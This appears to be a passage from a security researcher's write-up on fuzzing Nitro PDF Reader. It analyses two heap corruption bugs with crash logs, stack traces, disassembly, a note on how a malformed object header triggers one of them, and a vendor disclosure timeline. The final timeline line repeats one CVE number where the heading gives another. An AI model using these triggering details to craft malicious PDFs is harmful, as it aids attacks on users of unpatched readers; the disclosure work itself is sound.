<p>Looking at the <strong>UNKNOWN</strong> results it tells us a lot of duplicates and required to manually triaging those crash path. Since BFF supports minimization, it helps a lot in speed up the analysis by viewing the <strong>MSEC</strong> log file. This log contains the crash dump of the program (on the last state of exception) and provide the result of exploitability based on Microsoft Exploitable plugin for WinDBG. Below are the example of <strong>MSEC</strong> log file.</p>
<p>Crash dump:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/crash_data.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>Exploitability result:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/exploitability_result.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>After eliminating the duplicates, I look for a unique crash dump. What I’m looking for was a result with following pattern:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- TaintedDataControlsBranchSelection
- TaintedDataReturnedFromFunction
</code></pre></div></div>
<p>At least this pattern gives a bit hope whne looking into the crash dump. I just filter out things using command prompt <strong>findstr</strong> with the following pattern. Here’s an example result:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/filter_.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>There’s a number of interesting crash dump, example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Exception at npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x12fbe
(afc.1be0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\13\npdf.dll -
npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x12fbe:
00007ffe`cc165bbe 4c8b1cc1 mov r11,qword ptr [rcx+rax*8] ds:0000014f`d6680078=????????????????
- Exception at npdf!nitro::get_property+0x23e0
(212c.1918): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\13\npdf.dll -
npdf!nitro::get_property+0x23e0:
00007ffe`cc6b7a80 488b5708 mov rdx,qword ptr [rdi+8] ds:f0f0f0f0`f0f0f0f8=????????????????
</code></pre></div></div>
<p>Here we can see BFF are doing a good job by identifying unique issue in the target software. I randomly pick the crash dump and start to analyze it. In this writeup, I put two interesting issue which is both are heap corruption vulnerability.</p>
<h2 id="cve-2020-10223-vulnerability-1---jbig2decode-cnxjbig2decodestream-heap-corruption-vulnerability">(CVE-2020-10223) Vulnerability 1 - JBIG2Decode CNxJBIG2DecodeStream Heap Corruption Vulnerability</h2>
<p>An exploitable heap corruption vulnerability exists in the handling of JBIG2Decode object stream attributes of Nitro PDF Reader version 13.8.2.140. A specially crafted PDF document can trigger a heap corruption, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. The exception happened on the npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x12fbe.</p>
<p>The heap corruption issue found when it parse the JBIG2Decode stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following proof-of-concept:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/pdf_.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>When opened the POC with PDF reader (attach with debugger), the reader will prompt for an error to open the file. Thus, an exception trigger in debugger.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(138.d90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\13\npdf.dll -
npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x12fbe:
00007fff`a1235bbe 4c8b1cc1 mov r11,qword ptr [rcx+rax*8] ds:000001f9`ab650098=????????????????
</code></pre></div></div>
<p>Stack trace from our debugger:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000000f2`2a1f9e80 00007fff`a123508a : 000000f2`2a1fa370 000000f2`2a1fa370 00000000`00000000 00000001`a126b780 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x12fbe
000000f2`2a1f9fe0 00007fff`a12341d4 : 000000f2`2a1fa370 000000f2`2a1fa370 00000000`00000000 00000000`00000013 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x1248a
000000f2`2a1fa1f0 00007fff`a122d88f : 00000000`00000000 000001f9`00000002 000001f9`00000022 00007fff`a123d4b7 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x115d4
000000f2`2a1fa260 00007fff`a122d083 : 000000f2`2a1fa370 000000f2`2a1fa370 000000f2`2a1fa6d0 00000000`00000001 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0xac8f
000000f2`2a1fa2b0 00007fff`a122d937 : 00007fff`a14f4d23 00007fff`a1172950 00000000`000000ab 00000000`00000000 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0xa483
000000f2`2a1fa330 00007fff`a123bd8e : 00000000`00000004 000000f2`2a1fa4c0 00000000`00000004 000001f9`9ddaacf0 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0xad37
000000f2`2a1fa4b0 00007fff`a123bb13 : 000001f9`9ddaacf0 000000f2`2a1fa579 000001f9`f7ab8fe0 000001f9`9ddaabb0 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x1918e
000000f2`2a1fa4f0 00007fff`a123b064 : 000001f9`9ddaae10 000001f9`ab299f50 00000000`00000002 00000000`00000002 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x18f13
000000f2`2a1fa5d0 00007fff`a123d725 : 000000f2`2a1fa6d0 00000000`00000000 00007fff`a1576230 00000000`0000e110 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x18464
000000f2`2a1fa690 00007fff`a123d62a : 00000000`00000004 00000000`00000002 000001f9`9ddaaab0 00000000`01000002 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x1ab25
000000f2`2a1fa7a0 00007fff`a123d3c5 : 00000000`00000000 00000000`00000002 000001f9`9ddaaab0 00007fff`a14f4d23 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x1aa2a
000000f2`2a1fa8b0 00007fff`a1172986 : 000001f9`96646fc0 000001f9`9ddaaab0 000001f9`96ef1e10 00000000`00000000 : npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x1a7c5
000000f2`2a1fa900 00007fff`a10cf2f5 : 000001f9`96646fc0 000001f9`96ef1e10 00000000`00000000 00000000`00000000 : npdf!CosStreamOpenStm+0x66
000000f2`2a1fa950 00007fff`a1069301 : 00000000`00000001 000000f2`2a1fe260 000000f2`2a1faac0 00007fff`be3547c8 : npdf!PDTextIsSpaceBetween+0xe7ba5
000000f2`2a1fa9c0 00007fff`a10dca87 : 00000000`00000000 000001f9`96ef1e10 000001f9`96ef1e10 00000000`00000000 : npdf!PDTextIsSpaceBetween+0x81bb1
000000f2`2a1fdc40 00007fff`a0fca8e3 : 000001f9`eca4efc0 000001f9`a7062e38 000001f9`ecbacdc0 00007fff`a0fa2fbb : npdf!PDTextIsSpaceBetween+0xf5337
000000f2`2a1fe440 00007fff`a0fc2390 : 000001f9`ecbacdc0 000001f9`96ef1e10 000001f9`ecbacdc0 000001f9`9ddaaab0 : npdf!init_npdf_optional_features+0x9a03
000000f2`2a1fe510 00007fff`a0fdee22 : 000001f9`ecbacdc0 00000000`00000000 000001f9`ecbacdc0 00080000`00100081 : npdf!init_npdf_optional_features+0x14b0
000000f2`2a1fe560 00007fff`a0fc97c0 : 000001f9`ecbacdc0 000001f9`ecbacdc0 000001f9`96f54f60 000001f9`96f54f60 : npdf!init_npdf_optional_features+0x1df42
000000f2`2a1fe640 00007fff`a11a780e : 000001f9`ecbacdc0 000001f9`f38d8fc0 000001f9`96946fb0 00007fff`d44c7dce : npdf!init_npdf_optional_features+0x88e0
000000f2`2a1fe750 00007fff`a11a8deb : 000000f2`2a1fedf0 00007fff`d5a648c9 000001f9`d9970c60 ffffffff`ce0113ac : npdf!PDOCMDsMakeContentVisible+0x9be
000000f2`2a1fe860 00007ff7`3572a1ed : 000001f9`e8e2ff40 00000000`00000000 00000000`00000000 00000000`00000470 : npdf!PDPageDrawContentsWithParamsEx+0x6b
000000f2`2a1fe8d0 00007ff7`3572f041 : 00007fff`a492a0f0 000000f2`000003fc 000001f9`fb43ff90 000000f2`2a1fedf0 : NitroPDF!CxIOFile::Write+0x680ed
000000f2`2a1febb0 00007fff`a486d5f8 : 000000f2`2a1fec60 00000000`00000008 000001f9`fb43f860 00000000`00000000 : NitroPDF!CxIOFile::Write+0x6cf41
000000f2`2a1fec30 00007fff`a4883473 : 00000000`0000011d 00000000`00000000 00000000`00000000 00000000`00000000 : mfc140u!CView::OnPaint+0x68
000000f2`2a1fecf0 00007fff`a4882d2f : 000001f9`fb43f860 00000000`00000000 00000000`00000000 00000000`00000000 : mfc140u!CWnd::OnWndMsg+0x703
000000f2`2a1fee70 00007fff`a48805ce : 00000000`00000000 000001f9`d515ee20 00000000`00000000 00000000`0000000f : mfc140u!CWnd::WindowProc+0x3f
000000f2`2a1feeb0 00007fff`a48809b4 : 00000000`0000000f 00000000`001505fe 000000f2`2a1ff008 00007fff`0000000f : mfc140u!AfxCallWndProc+0x12e
000000f2`2a1fefa0 00007fff`a4727841 : 00000000`00000000 00000000`001505fe 00000000`0000000f 00000000`00000000 : mfc140u!AfxWndProc+0x54
000000f2`2a1fefe0 00007fff`d5a4c906 : 00000000`00000001 000001f9`d515ee78 00000000`00000000 00000000`00000000 : mfc140u!AfxWndProcBase+0x51
000000f2`2a1ff030 00007fff`d5a4c62c : 00000000`00000388 00007fff`a47277f0 00000000`001505fe 00000000`80000000 : USER32!UserCallWinProcCheckWow+0x266
000000f2`2a1ff1b0 00007fff`d5a600a3 : 00000000`00000000 00000000`00000000 00000000`00000000 000001f9`d515ee78 : USER32!DispatchClientMessage+0x9c
000000f2`2a1ff210 00007fff`d83f3494 : 00000000`00000000 00000000`0017055e 000001f9`d1c87f50 00007fff`a48a02a5 : USER32!_fnDWORD+0x33
000000f2`2a1ff270 00007fff`d4461764 : 00007fff`d5a4c49f 0000a0ad`b423c9e8 00000000`00000000 000001f9`d515ee20 : ntdll!KiUserCallbackDispatcherContinue
000000f2`2a1ff2f8 00007fff`d5a4c49f : 0000a0ad`b423c9e8 00000000`00000000 000001f9`d515ee20 00007ff7`357788ce : win32u!NtUserDispatchMessage+0x14
000000f2`2a1ff300 00007fff`a48696d2 : 000001f9`d515ee78 00007fff`00000000 000001f9`d515ee78 00000000`00000000 : USER32!DispatchMessageWorker+0x22f
000000f2`2a1ff380 00007fff`a486a017 : 00000000`00000001 000001f9`d515ee78 00000000`00000000 000001f9`d515ee78 : mfc140u!AfxInternalPumpMessage+0x52
000000f2`2a1ff3b0 00007ff7`3577ab6a : 000001f9`ea2dffd0 00007ff7`356a0000 00000000`00000001 00000000`00000001 : mfc140u!CWinThread::Run+0x77
000000f2`2a1ff3f0 00007fff`a489c6c0 : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00010001 : NitroPDF!CxIOFile::Write+0xb8a6a
000000f2`2a1ffa00 00007ff7`358676f6 : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : mfc140u!AfxWinMain+0xc0
000000f2`2a1ffa40 00007fff`d6717974 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : NitroPDF!nitro::filenames_provider::workflow::get_from_program_data+0x4f8c6
000000f2`2a1ffa80 00007fff`d83ba271 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
000000f2`2a1ffab0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
</code></pre></div></div>
<p>The vulnerability lies at sub_180395650 function. This function basically performed a parsing the JBIG2 and decode the stream. The library named, CNxJBIG2DecodeStream. The analysis as in the following disassembly.</p>
<p>The first check, sub_18038E960 function act as parser and takes an argument. Our corrupted value lies here:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:000000018039595D test r14, r14
.text:0000000180395960 jz short loc_18039597E
.text:000000018039597E mov edx, [rbp+50h+arg_18]
.text:0000000180395984 call sub_18038E960 // perform some checking here, this function responsible to handle the allocation and free pointer
.text:000000018039597C jmp short loc_1803959A4
.text:00000001803959A1 mov r14d, eax
.text:00000001803959A4 cmp r14d, dword ptr [rbp+50h+arg_8]
.text:00000001803959AB jb short loc_1803959EB
</code></pre></div></div>
<p>Then it perform another check here:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001803959AD mov dword ptr [rsp+120h+var_F8], 996h
.text:00000001803959B5 mov [rsp+120h+var_100], rdi
.text:00000001803959BA xor r9d, r9d
.text:00000001803959BD mov r8d, 20040007h
.text:00000001803959C3 lea rdx, aJbig2decodeI_1 ; "JBIG2Decode: Invalid symbol number in J"...
.text:00000001803959CA mov rcx, cs:off_1808A5F30
.text:00000001803959D1 call sub_1802EE190
.text:00000001803959D6 mov eax, [rbp+88h]
.text:00000001803959DC sub eax, dword ptr [rsp+120h+var_C0]
.text:00000001803959E0 cmp eax, 800h
.text:00000001803959E5 ja loc_180395E65
</code></pre></div></div>
<p>Then it will decode the symbol resource index:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000180395A72 mov r8, [rsi+0E0h]
.text:0000000180395A79 lea rdx, [rbp+50h+var_58]
.text:0000000180395A7D mov rcx, [rsi+68h]
.text:0000000180395A81 call sub_18039CEA0
.text:0000000180395A86 test al, al
.text:0000000180395A88 jz loc_180395EA4
</code></pre></div></div>
<p>Last check was done from here. r8 is the corrupted pointer, the corrupted pointer isn’t properly assign and the object is not free.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000180395AC7 mov r8, [rbp+50h+var_A8] // r8 = 000000000000004c, 0x4c leads to corrupted pointer
.text:0000000180395ACB lea rdx, [rbp+50h+var_5C]
.text:0000000180395ACF mov rcx, [rsi+0F0h]
.text:0000000180395AD6 call sub_18038E010
.text:0000000180395ADB test al, al
.text:0000000180395ADD jz short loc_180395B2C
</code></pre></div></div>
<p>An invalid passing of function pointer and thus a bad call to a function:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000180395BB6 mov eax, r14d
.text:0000000180395BB9 mov rcx, [rsp+120h+var_A8] // rcx = 000001bc2bf4b0a0
.text:0000000180395BBE mov r11, [rcx+rax*8] // crash here
.text:0000000180395BC2 test r11, r11
.text:0000000180395BC5 jz loc_180395E65
</code></pre></div></div>
<p>The Heap:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !heap -p -a @r11
address 000001f9a6fa1ff0 found in
_DPH_HEAP_ROOT @ 1f9d1961000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1f9f349c270: 1f9a6fa1ff0 10 - 1f9a6fa1000 2000
00007fffd8456cf7 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007fffd83fca9e ntdll!RtlpAllocateHeap+0x000000000009d23e
00007fffd835da21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007fffd531ca26 ucrtbase!_malloc_base+0x0000000000000036
00007fffa14f4d23 npdf!nitro::notifications::notification_manager::DestroyNotification+0x0000000000297903
00007fffa122cf2c npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000000a32c
00007fffa122d937 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000000ad37
00007fffa123bd8e npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000001918e
00007fffa123bb13 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x0000000000018f13
00007fffa123b064 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x0000000000018464
00007fffa123d725 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000001ab25
00007fffa123d62a npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000001aa2a
00007fffa123d3c5 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000001a7c5
00007fffa1172986 npdf!CosStreamOpenStm+0x0000000000000066
00007fffa10cf2f5 npdf!PDTextIsSpaceBetween+0x00000000000e7ba5
00007fffa1069301 npdf!PDTextIsSpaceBetween+0x0000000000081bb1
00007fffa10dca87 npdf!PDTextIsSpaceBetween+0x00000000000f5337
00007fffa0fca8e3 npdf!init_npdf_optional_features+0x0000000000009a03
00007fffa0fc2390 npdf!init_npdf_optional_features+0x00000000000014b0
00007fffa0fdee22 npdf!init_npdf_optional_features+0x000000000001df42
00007fffa0fc97c0 npdf!init_npdf_optional_features+0x00000000000088e0
00007fffa11a780e npdf!PDOCMDsMakeContentVisible+0x00000000000009be
00007fffa11a8deb npdf!PDPageDrawContentsWithParamsEx+0x000000000000006b
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\13\NitroPDF.exe -
00007ff73572a1ed NitroPDF!CxIOFile::Write+0x00000000000680ed
00007ff73572f041 NitroPDF!CxIOFile::Write+0x000000000006cf41
00007fffa486d5f8 mfc140u!CView::OnPaint+0x0000000000000068 [d:\agent\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\viewcore.cpp @ 186]
00007fffa4883473 mfc140u!CWnd::OnWndMsg+0x0000000000000703 [d:\agent\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\wincore.cpp @ 2465]
00007fffa4882d2f mfc140u!CWnd::WindowProc+0x000000000000003f [d:\agent\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\wincore.cpp @ 2099]
00007fffa48805ce mfc140u!AfxCallWndProc+0x000000000000012e [d:\agent\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\wincore.cpp @ 265]
00007fffa48809b4 mfc140u!AfxWndProc+0x0000000000000054 [d:\agent\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\wincore.cpp @ 417]
00007fffa4727841 mfc140u!AfxWndProcBase+0x0000000000000051 [d:\agent\_work\1\s\src\vctools\VC7Libs\Ship\ATLMFC\Src\MFC\afxstate.cpp @ 299]
00007fffd5a4c906 USER32!UserCallWinProcCheckWow+0x0000000000000266
</code></pre></div></div>
<h2 id="cve-2020-10222-vulnerability-2---get_property-heap-corruption-vulnerability">(CVE-2020-10222) Vulnerability 2 - get_property Heap Corruption Vulnerability</h2>
<p>An exploitable heap corruption vulnerability exists in the handling of get_property function when parsing for object /binary stream of Nitro PDF Reader version 13.8.2.140. A specially crafted PDF document can trigger a heap corruption, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. The exception happened on the npdf!nitro::get_property+2381 function.</p>
<p>The heap corruption issue found when it parsing the object stream (between object number and revision), where it failed to recognize additional bytes found in the stream. This happened when it tries to process the following proof-of-concept:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/1.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>After open the POC with PDF reader (attach with debugger), the reader will prompt for an error to open the file. Thus, an exception trigger in debugger.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(212c.1918): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\13\npdf.dll -
npdf!nitro::get_property+0x23e0:
00007ffe`cc6b7a80 488b5708 mov rdx,qword ptr [rdi+8] ds:f0f0f0f0`f0f0f0f8=????????????????
</code></pre></div></div>
<p>Stack trace:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> kvL
Child-SP RetAddr : Args to Child : Call Site
000000a391bf72f0 00007ffecc6b7cc3 : 0000027e42dfb8c0 000000a391bfcd40 0000027e4bd44150 000000a391bfcd40 : npdf!nitro::get_property+0x23e0
000000a391bf7340 00007ffecc71dc7d : 0000027e4bd7c500 0000027e4bd44150 0000027e4bd7c500 0000027e42dfb8c0 : npdf!CosDocClose+0x13
000000a391bf7380 00007ffecc7179a7 : 0000027e4bd44150 0000027e42de0b00 000000a391bf96b0 0000000000000007 : npdf!PDDocUpdateTextCache+0xa1d
000000a391bf73e0 00007ff6f02dd992 : 00005a568a2828eb 0000027e42de0b00 000000a391bfcd40 000000a391bf96b0 : npdf!PDDocClose+0x77
000000a391bf7440 00007ffef63c1030 : 00007ff6f02dd946 000000a391bfcd40 000000a391bfcd40 00007ffef63c336f : NitroPDF!nitro::filenames_provider::workflow::get_from_program_data+0x195b62
000000a391bf7490 00007ffef63c3298 : 00007ff6f02dd946 000000a391bf8838 0000000000000100 00007ffecc716448 : VCRUNTIME140!_CallSettingFrame+0x20
000000a391bf74c0 00007fff04ca0666 : 0000000000000000 000000a391bf96b0 0000000000000000 0000000000000000 : VCRUNTIME140!__FrameHandler3::CxxCallCatchBlock+0xe8
000000a391bf7570 0000000000000000 : 0000000000000000 0000000000000000 0000000000000000 0000000000000000 : ntdll!RcFrameConsolidation+0x6
</code></pre></div></div>
<p>The vulnerability itself lies in the function <strong>npdf!nitro::get_property</strong>. This function can be found with its symbols in the DLL npdf.dll. Here’s the code snippet of the get property function.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001802D56A0 mov [rsp+arg_0], rbx
.text:00000001802D56A5 mov [rsp+arg_8], rsi
.text:00000001802D56AA push rdi ; controllable
.text:00000001802D56AB sub rsp, 20h
.text:00000001802D56AF mov rdi, r8
.text:00000001802D56B2 mov rsi, rdx
.text:00000001802D56B5 mov rbx, rcx
.text:00000001802D56B8 test r8, r8
.text:00000001802D56BB jz short loc_1802D571F
.text:00000001802D56BD cmp byte ptr [r8], 0
.text:00000001802D56C1 jz short loc_1802D571F
.text:00000001802D56C3 mov rcx, rdx
.text:00000001802D56C6 call ?CosObjGetType@@YA?AW4CosType@@PEAUCosObjElementStruct@@@Z ; CosObjGetType(CosObjElementStruct *)
.text:00000001802D56CB sub al, 6
.text:00000001802D56CD test al, 0FDh
.text:00000001802D56CF jnz short loc_1802D571F
.text:00000001802D56D1 mov rcx, rdi ; Src
.text:00000001802D56D4 call ?ASAtomFromString@@YA_KPEBD@Z ; ASAtomFromString(char const *)
.text:00000001802D56D9 mov rdx, rax ; unsigned __int64
.text:00000001802D56DC mov rcx, rsi ; struct CosObjElementStruct *
.text:00000001802D56DF mov rdi, rax
.text:00000001802D56E2 call ?CosDictKnown@@YA_NPEAUCosObjElementStruct@@_K@Z ; CosDictKnown(CosObjElementStruct *,unsigned __int64)
.text:00000001802D56E7 test al, al
.text:00000001802D56E9 jz short loc_1802D571F
.text:00000001802D56EB mov rdx, rdi ; unsigned __int64
.text:00000001802D56EE mov rcx, rsi ; struct CosObjElementStruct *
.text:00000001802D56F1 call ?CosDictGet@@YAPEAUCosObjElementStruct@@PEAU1@_K@Z ; CosDictGet(CosObjElementStruct *,unsigned __int64)
.text:00000001802D56F6 mov rcx, rax
.text:00000001802D56F9 mov rdi, rax
.text:00000001802D56FC call ?CosObjGetType@@YA?AW4CosType@@PEAUCosObjElementStruct@@@Z ; CosObjGetType(CosObjElementStruct *)
.text:00000001802D5701 test al, al
.text:00000001802D5703 jz short loc_1802D571F
</code></pre></div></div>
<p>The disassembly code above indicates each CALL function to what it tries to search to fulfill its criteria when parsing for the PDF format / structure. It is basically checks for certain condition in order to meet the criteria of the PDF structure / format. Each of the API call used in the DLL can be found in Adobe PDFL SDK (available online). Here’s the criteria it uses to perform a check of its structure:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CosObjGetType - Gets an object's type.
ASAtomFromString - methods convert between strings and ASAtom objects
CosDictGet - Gets the value of the specified key in the specified dictionary. If it is called with a stream object instead of a dictionary object, this method gets the value of the specified key from the stream's attributes dictionary.
CosDictKnown - Tests whether a specific key is found in the specified dictionary
</code></pre></div></div>
<p>An example of how the checks perform:
<img src="https://raw.githubusercontent.com/nafiez/nlabs.github.io/master/images/3.png" alt="Screenshot broadcast" title="Screenshot broadcast" /></p>
<p>If none of the above conditions are met, the PDF reader will immediately close the file and prompt for an error. In this case, we modified 1-byte at the binary stream and the parser failed to handle it. We found out it lacks of checking in between object number and revision if there’s any illegal character except for value 0x20 (space). Example of binary stream:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><object number>(illegal character here)<object revision> obj
<<
1 0 obj
<<
</code></pre></div></div>
<p>Registers with controllable RDI:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> r
rax=000000a391bf72a0 rbx=0000027e42dfb8c0 rcx=0000027e426c8d90
rdx=0000027e426c8d90 rsi=0000027e42dfbad8 rdi=f0f0f0f0f0f0f0f0
rip=00007ffecc6b7a80 rsp=000000a391bf72f0 rbp=000000a391bfcd40
r8=0000027e426c8d90 r9=0000027e426c8d90 r10=0000027e426c8d90
r11=0000027e426c8c68 r12=000000a391bf7520 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
npdf!nitro::get_property+0x23e0:
00007ffe`cc6b7a80 488b5708 mov rdx,qword ptr [rdi+8] ds:f0f0f0f0`f0f0f0f8=????????????????
</code></pre></div></div>
<p>The Heap:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !heap -p -a 0000027e426c8d90
address 0000027e426c8d90 found in
_HEAP @ 27e35290000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0000027e426c8d40 000b 0000 [00] 0000027e426c8d90 00038 - (busy)
7ffef0fb41e6 verifier!AVrfDebugPageHeapAllocate+0x0000000000000406
7fff04d04847 ntdll!RtlDebugAllocateHeap+0x000000000000003f
7fff04cb4a16 ntdll!RtlpAllocateHeap+0x0000000000077b26
7fff04c3babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb
7ffef0fd4476 verifier!AVrfpRtlAllocateHeap+0x0000000000000106
7fff01ee2596 ucrtbase!_malloc_base+0x0000000000000036
7ffecca34d23 npdf!nitro::notifications::notification_manager::DestroyNotification+0x0000000000297903
7ffecc6bf4ac npdf!CosDocSetObjByID+0x000000000000668c
7ffecc6b6d39 npdf!nitro::get_property+0x0000000000001699
7ffecc6a6e15 npdf!PDTextIsSpaceBetween+0x000000000017f6c5
7ffecc6b86fc npdf!CosDocOpenWithParams+0x000000000000005c
7ffecc71c284 npdf!PDDocOpenEx+0x00000000000001d4
7ffec3c4b247 np_stamper!CxIOFile::Write+0x0000000000016c77
7ffec3c4f144 np_stamper!nitro::stamper::create_plugin+0x00000000000001a4
7ff6f00e1856 NitroPDF!CxIOFile::Write+0x00000000000ef756
7ff6f00e18f7 NitroPDF!CxIOFile::Write+0x00000000000ef7f7
7ff6f00af76f NitroPDF!CxIOFile::Write+0x00000000000bd66f
7ff6f00a535b NitroPDF!CxIOFile::Write+0x00000000000b325b
7ffed7e1c684 mfc140u!AfxWinMain+0x0000000000000084
7ff6f01976f6 NitroPDF!nitro::filenames_provider::workflow::get_from_program_data+0x000000000004f8c6
7fff03017bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014
7fff04c6ced1 ntdll!RtlUserThreadStart+0x0000000000000021
</code></pre></div></div>
<h2 id="disclosure-timeline">Disclosure timeline</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Dec 23, 2019 - Reported the security issues to Nitro Security team.
Dec 23, 2019 - Vendor acked.
Jan 8, 2020 - Follow up again with vendor.
Jan 8, 2020 - Vendor acked with following update "the report has been acknowledged and accepted. It is now in our development lifecycle"
Feb 4, 2020 - Follow up with vendor.
Feb 4, 2020 - Vendor acked with following update "I’m happy to report that the issue has been marked as resolved, and has just completed testing. The fix will be delivered in an upcoming release of Nitro Pro 13.x"
Feb 27, 2020 - Follow up with vendor for an update (and asking if there's bounty as they mention it in their website)
Mar 3, 2020 - Vendor acked with following update "I have nominated you for a bug bounty, for the various JBIG2 reports."
Mar 3, 2020 - Received bounty from vendor with following message "“Nitro says Thank You for helping us secure our products (JBIG2) $50.00 (Amazon Gift Card)" <--- I'm not into bounty kind of stuff but What a joke LOL~
Mar 3, 2020 - Nitro released new version (13.13.2.242) https://www.gonitro.com/nps/product-details/release-notes
Mar 5, 2020 - Published writeup. Next is to request CVE as vendor don't provide any of it.
Mar 9, 2020 - [UPDATE] CVE assigned, CVE-2020-10223 and CVE-2020-10223
